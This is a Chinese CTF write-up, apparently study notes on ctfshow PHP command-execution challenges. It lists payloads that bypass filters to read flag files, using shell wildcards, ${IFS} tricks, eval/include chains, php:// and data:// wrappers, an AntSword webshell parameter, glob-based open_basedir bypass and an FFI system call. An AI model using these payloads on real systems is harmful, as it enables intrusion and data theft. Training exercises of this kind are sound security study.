web118
//利用系统变量构造nl命令
${PATH:~A}${PWD:~A}$IFS????.???
web119
学到一个新技能,使用wappalyzer可以得到web的服务器和php版本
们先来看一下我们能用的数字有哪些:
0:可以用字符代替;
1:
1 | ${#SHLVL}=1,或者${##}、${#?}。 |
1 | SHLVL是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${#SHLVL}=1,然后在此shell中再打开一个shell时${#SHLVL}=2。 |
1 | 2:`用wappalyzer插件可以看到php的版本是7.3.22,所以2可以用${PHP_VERSION:~A}代替。` |
web120
传参
1 | code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.??? |
按指定的字符串截取
(1)第一种方法:
1 | `从左向右截取最后一个string后的字符串` |
“*”只是一个通配符可以不要
请看下面的例子:
1 | $ MYVAR=foodforthought.jpg |
(2)第二种方法:
${varible:n1:n2}:截取变量varible从n1开始的n2个字符,组成一个子字符串。可以根据特定字符偏移和长度,使用另一种形式的变量扩展,来选择特定子字符串。试着在 bash 中输入以下行:
1 | $ EXCLAIM=cowabunga |
这种形式的字符串截断非常简便,只需用冒号分开来指定起始字符和子字符串长度。
web121
#?=1
1 | ${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.??? |
web122
1 | code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.??? |
一直刷就刷出来了
web124
构造函数
看文件
1 | c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=ls |
读取文件
1 | c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=tac flag.php |
解析
1 | base_convert #在任意进制之间转换数字。 |
$pi是因为题目限制只能用这个,其他的不让用 首先$pi的值是_GET,定义这个变量是因为为了动态调用php函数 动态调用 PHP 函数,需要使用 $var{func} 这种形式,其中 $var 是一个字符串,{func} 表示函数名。否则,如果直接使用 $func,则 PHP 引擎会将其解释为一个未定义的常量,并且会导致语法错误。 为了调用system函数,就要构造
1 | $pi{abs}($pi{acos});&abs=system&acos=ls |
因为$pi
是一个字符串,而不是一个函数。$pi
的值是通过将 37907361743
和 1598506324
作为参数传递给 base_convert
和 dechex
函数计算得到的字符串。因此,如果直接使用 $pi{abs}($pi{acos})
,PHP 引擎将无法识别 $pi
变量中的函数名。 为了解决这个问题,可以使用 PHP 变量变量解析器和函数调用链来动态调用函数。具体来说,$$pi{abs}
将 $pi{abs}
解释为一个变量名,然后使用 $pi{acos}
作为该变量名的值进行函数调用。因此,$$pi{abs}($$pi{acos})
将会调用 $pi{abs}($pi{acos})
。 所以要构造
1 | $$pi{abs}($$pi{acos});&abs=system&acos=ls |
1 | <?php |
想要构造$_GET
构造_GET
想到使用bin2hex和hex2bin先把_GET(ASCII)转换成16进制,利用base_convert将一个16进制转换为36进制得到hex2bin,进而可以实现从16进制转换为ASCII得到_GET
payload进行了三次进制转换,进行绕过过滤
base_convert
(PHP 4, PHP 5, PHP 7, PHP 8)
base_convert — 在任意进制之间转换数字
说明 ¶
base_convert(string $num
, int $from_base
, int $to_base
): string
返回字符串,包含 num
以 to_base
进制的表示。num
本身的进制由 from_base
指定。from_base
和 to_base
都只能在 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。字母的大小无关紧要,即 num
不区分大小写。
警告
由于使用内部的 float 类型,base_convert() 的操作可能会导致大数值中的精度丢失。请参见本手册的浮点数章节以便获得更多详细信息。
参数 ¶
num
要转换的数字。
num
中的任何无效字符都会默认忽略。自 PHP 7.4.0 起,弃用使用任何无效字符。from_base
num
的进制数to_base
num
要转换为的进制数
返回值 ¶
num
转换为 to_base
进制
dechex() 函数把十进制数转换为十六进制数。
web29
此题利用传入的c参数来进行代码执行,不能算是严谨的命令执行。这里注意会对flag字符串进行匹配,只有不匹配上才会进行代码执行,这里需要绕过这个匹配。
解法一:payload
直接在地址栏后加?c=highlight_file(next(array_reverse(scandir("."))));
逐步分析
highlight_file() 函数对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。用来在html上显示flag。
next() 函数将内部指针指向数组中的下一个元素,并输出。
array_reverse() 函数以相反的元素顺序返回数组。
scandir() 函数返回指定目录中的文件和目录的数组。
解法二:直接执行系统命令
?c=system(“tac%20fla*”); 利用tac与system结合,拿到flag
因为可以利用system来间接执行系统命令,如果flag不在当前目录,也可以利用?c=system(“ls”); 来查看到底在哪里。
解法三:内联执行 (反字节符)
1 | ?c=echo%20`tac%20fla*`; |
注意结尾的分号,注意写writeup时,因为有反字节符,要核对一下是否转义,需要再在页面上确认一下。 利用echo命令和tac相结合来实现。注意flag采用*绕过,`反字节符,是键盘左上角与~在一起的那个。
暂时不是很懂,网上也没搜到,以后遇到类似的题再回来总结。
解法四:利用参数输入+eval
地址后面加?c=eval($_GET[1]);&1=system("tac%20fla*.php");
使用?c=eval($_GET[1]);&1=system(ls);
看一下当前目录都有什么,也可以?c=eval($_GET[1]);&1=system("ls%20/");
看一下根目录都有什么。 注意上一行结尾的分号都不能省略。因为是以php代码形式来执行的,所以结尾必须有分号。此外查看根目录时,必须用引号包裹,不太清楚原因,目前觉得因为system的参数必须是string。
解法五:利用参数输入+include
这里的eval也可以换为include,并且可以不用括号。但是仅仅可以用来读文件了。?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
得到一段base64编码
解码得到flag
解法六:利用cp命令将flag拷贝到别处
解法七:中国蚁剑
使用中国蚁剑,?c=eval($_POST[1]); 连接蚁剑,密码是1,进去就可以看到flag.php
web30
打开环境分析代码看到是过滤了flag,system命令。这时就要好好想想可以利用什么方式绕过
解法一:中国蚁剑
蚁剑依旧可以用
解法二:
用passthru可以代替system绕过过滤。
解法三:利用参数输入+include
地址栏后添加
1 | ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php |
解法四:利用参数输入+eval
在地址栏后添加
1 | ?c=eval($_GET[1]);&1=passthru("tac%20fla*.php"); |
解法五:反字节符配合echo
1 | ?c=echo(`ls`); |
web31
打开环境后看到是过滤了/flag|system|php|cat|sort|shell|.| |'/i
解法一:使用eval嵌套。具体参数:passthru 结合%09
1 | ?c=eval($_GET[1]);&1=passthru("tac%09fla*"); |
解法二:中国蚁剑
解法三:使用未被过滤的命令。passthru直接读取
web32
这道题目由于可以include,也即是包含文件。
1 | ?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php |
web33
方法一:转换过滤器
includ文件包含,
1 | ?c=include%0A$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php |
然后base64解码
方法二:伪协议
通过data://text/plain协议来进行漏洞利用。
1 | ?c=include%0A$_GET[a]?>&a=data://text/plain,<?php%20system("cat%20flag.php");?> |
然后查看源代码即可得到flag
web34
与web32,web33解法一样
web35
与web34解法相同
web36
与web35解法相同
web37
首先分析题目提供的代码
它从URL的查询字符串中获取参数’c’。如果提供了’c’,并且它不包含字符串”flag”(不区分大小写),脚本会包含由’c’指定的文件,然后如果在包含的文件中设置了变量$flag,则会将其输出。否则,如果未提供’c’,脚本将使用highlight_file函数显示自己的源代码。值得注意的是,这段代码容易受到安全漏洞的影响,因为它直接包含了用户提供的输入,没有进行适当的验证或净化,可能会导致远程代码执行或其他攻击。
使用data://伪协议
1 | ?c=data://text/plain,<?php system('tac fla?.php');?> |
web38
添加了对php以及flag的过滤,尝试绕过
1 | ?c=data://text/plain,<?=system("tac fla*")?> |
web39
1 | ?c=data://text/plain,<? = system("tac fla*.php") ;? > |
web40
1 | ?c=echo highlight_file(next(array_reverse(scandir(pos(localeconv()))))); |
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
scandir():获取目录下的文件,scandir(.):获取当前目录下所有文件
pos():返回数组中的当前元素的值。该函数是 current() 函数的别名。
array_reverse():数组逆序
next(): 函数将内部指针指向数组中的下一个元素,并输出。
highlight_file():函数进行文件内容的读取,并输出
每个数组中都有一个内部的指针指向它的”当前”元素,初始指向插入到数组中的第一个元素。
web41
这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|。
我们可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。
这里先给出两个脚本 exp.py rce_or.php,大家以后碰到可以使用或运算绕过的可以自己手动修改下即可。
生成可用字符的集合
1 | <?php |
大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
传递参数getflag
用法 python exp.py <url>
1 | # -*- coding: utf-8 -*- |
先system ls查看目录
然后system cat flag得到flag
web42
if(isset($_GET[‘c’])){ $c=$_GET[‘c’]; system($c.” >/dev/null 2>&1”); }else{ highlight_file(FILE); }
这段代码是一个简单的 PHP 脚本。它首先检查是否有名为 ‘c’ 的 GET 参数传递给脚本。如果存在该参数,则将其赋值给变量 $c。然后,使用 system 函数执行 $c 变量的值作为命令,并将输出重定向到 /dev/null,以隐藏任何可能的输出。如果没有传递 ‘c’ 参数,则会将当前脚本文件的内容以代码高亮的形式显示出来。
需要注意的是,这段代码存在安全风险。直接将用户输入传递给 system 函数可能导致命令注入攻击,因此在实际应用中应该进行输入验证和过滤,以确保执行的命令是安全可靠的。
查看目录
1 | ?c=ls; |
打印flag
1 | ?c=tac flag.php; |
web43
过滤了cat、;,那就利用tac命令来打印,“||”分割
web44
过滤了flag可以用fla*代替
web45
在之前的过滤基础上,把空格过滤了,所以可以采用“tab”但是直接按tab键会使光标跳到分隔符之后或者跳在历史记录中的下一条记录
所以采用tab的url编码“%09”
构造payload
1 | ?c=tac%09fla*|| |
web46
?c=tac<fla%27%27g.php||
web47
web48
web49
web50
用<>
<
代替空格
web51
web52
可以看到<和>都被过滤掉了
发现过滤了<>,同时$也可以用了,这里我们可以用${IFS}
替换空格
注: $ IFS在linux下表示分隔符,但是如果单纯的cat$ IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用 ,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
?c=ca\t${IFS}/fla?%0a
web53
web54
这是什么过滤,吓老子一跳。。。。
土狗没见过。。
中间这些个很多的星号的内容,其实 是说,含有 cat,more这样的会被匹配,如cat 那么ca323390ft或c232fa3kdfst, 凡是按序出现了cat 都被匹配。 这时,我们不能直接写ca?因为这样是匹配不到命令的。 只能把全路径写出来,如/bin/ca?,与/bin/ca?匹配的,只有/bin/cat命令,这样就用到了cat 命令了。
方法一
1 | ?c=/bin/ca?${IFS}????.??? |
/bin/cat为命令所在路径。
方法二
1 | ?c=mv${IFS}fla?.php${IFS}t.txt |
web55
解法一:
由于过滤了字母,但没有过滤数字,我们尝试使用/bin目录下的可执行程序。
但因为字母不能传入,我们需要使用通配符?来进行代替
?c=/bin/base64 flag.php
替换后变成
?c=/???/????64 ????.???
解法二:
web56
过滤数字和字母
无字母数字RCE,可以试试文件上传
上传post文件数据包
1 |
|
然后抓包在post后添加
PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母
1 | ?c=./???/????????[@-[] |
1 | . 相当于source 可以执行文件 |
然后改一下文本内容
1 | #!/bin/sh |
web57
过滤了字母、数字、分号、2个通配符
又学到一个点echo ${_} #返回上一次的执行结果
echo $(()) #0
echo $((~$(()))) #~0是-1
$(($((~$(())))$((~$(()))))) #$((-1-1))即$$((-2))是-2
echo $((~-37)) #~-37是36
payload:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
web58
函数禁用
system函数被禁用了
post请求highlight_flie可以执行
web59
和上一道题同样的做法
web60
基本定义:
get和post是页面提交的两种方式,有着不同的应用。
$_GET变量接受所有以get方式发送的请求,及浏览器地址栏中的?之后的内容。 $_POST变量接受所有以post方式发送的请求,例如,一个form以method=post提交,提交后php会处理post过来的全部变量。
从用法角度来说:
$_POST用于表单之中,而$_GET用于超链接之中。
从安全角度考虑:
$_POST安全性更高一点,$_GET通过URL传递数据,所有内容在URL(地址栏)可以看到,所以不安全。
从数据传输大小和速度来说:
$_GET传输数据更小,更快,但传递的数据量是有限的且只能传递文本信息,而$_POST在服务器支持的情况下可以传递任意多的数据并且可以传递图片、视频等其他文件类型。
web61
web62
继续post date
c=highlight_file(‘flag.php’);
web63
继续post date
c=highlight_file(‘flag.php’);
web64
继续post date
c=highlight_file(‘flag.php’);
web65
web66
这里看到被嘲讽了很生气,
var_dump() 函数用于输出变量的相关信息。
var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。
使用var_dump(scandir(/))查看根目录
web67
依然可以
web68
highlight_file没办法用来
在根目录发现flag.txt
使用include得到flag
1 | c=include('/flag.txt'); |
web69
web70
web71
附件给了index.php文件的源代码
1 | <?php |
发现使用echo preg_replace用?替换了字母和数字
直接在缓冲取前中断
web72
1 | c=$a=new DirectoryIterator("glob:///*"); |
glob绕过发现flag0.txt文件
编码脚本,但我的hackbar好像没法
1 | <?php |
web73
可以使用include
web74
web75
由于存在open_basedir
配置的限制,无法使用scandir
函数列出目录信息,可以使用glob
协议绕过open_basedir
的限制,在根目录发现flag36.txt
文件。
1 | c=$a=new DirectoryIterator("glob:///*"); |
查看目录
本题还通过include_path
限制了文件包含的路径,无法直接使用include
包含得到flag信息,
根据提示使用pdo连接服务器
1 | c=$dsn = "mysql:host=localhost;dbname=information_schema"; |
payload
1 | c= |
web76
web77
payload
1 | $ffi = FFI::cdef("int system(const char *command);");//创建一个system对象 |
命令注入刷题心得
通过传参得到文件目录,访问文件,或者的到shell连接蚁剑